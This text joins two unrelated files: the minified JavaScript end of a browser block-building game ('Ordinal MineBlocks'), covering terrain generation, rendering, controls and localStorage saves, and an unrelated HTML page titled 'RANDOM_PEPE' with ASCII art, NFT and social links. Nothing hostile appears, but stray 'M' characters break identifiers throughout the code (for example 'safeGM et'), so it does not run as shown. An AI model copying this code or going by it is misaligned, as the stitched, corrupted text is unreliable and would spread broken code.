f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<html><TITLE>RANDOM_PEPE</TITLE>
    <!--- TEWZ1.ETH   https://www.www.tewz1.com      https://opensea.io/tewz    DUST 1AHV2TSdVsydxx2eSMyxKg6HfAgXAKNafW
				      https://www.twitter.com/tewz1  https://tewz.cent.co/           TEWZ1.ETH      <pre>
    ...''',,''...
    .';:cclllllllllcc;,'..          .',,;;;;;;;,,'..
 .,:cllllllllllllllllllllc:'.  ..';:cllllllllllllllc;.
.;cllllllllllllllllllllM
llllllc;';cllllllllllllllllllllc,.
.;clllllllllllllcc:::::::::ccllll:;:lllllllllllllllllllllc'
.,clllllllllcc:::::::;;;,,,'''',,;:c:;clllllllllllllllllllll:.
.;lllllllc:::::ccllllllllllllccc:;,,;;',;;;:;;;;;;;;;;;;;;;;;;.
.:llllllllc::clllllllllllllllllllllllc;'.,::::::ccccccccccc::::;;,'..
.:llllllllllllllllllllllllllccccc:::::::;,',:lllllllllllllcccllllllllc:'.
.;lllllllllllllllllllllc:;:::;;;;,,,,,,,;;;;,;;;:llc:;;,,,;;;;;;;;;;;M
.,clllllllllllllllllc:;;;,,,;;;:::::::::::::ccc:,',;,'...',;;;;;;;;;;;,,,,,'''.
.',;clllllllllllllc:;;;;;,;;;;:clllllllllllllllllcc,..,,;;::ccclllllllccccc::;;;;,.
.':cl::lllllllllllllc:,,,,;;;:cllllllllllllllccccllllllc,,clllcc::;;;;,'....':oddolc;'.
.:lllc;:llllllllll:;,;;;;;:clllllllccccc:;,'.'',;cxKNNNWN0l:cllloodxxl'       .,xXWNXOkc.
'cllll:;cllllllllllc,,,,,;;;:ccllodxxkkl'.         .:OWMMMXkkXNNWMMMNd.  PEPE     cXMMMMK;
'cllllllclllllllllllllcc::;,';d0XNWWMMNd.    TEWZ     .xWMNxxNM
MMMMMMMO.   LOVES    .xWWXOc.
'clllllllllllllllllllllllllll:;:okOKNMMO.    ROCK       .oxl;cxkOKXNWWd.    YOU      .:doc'
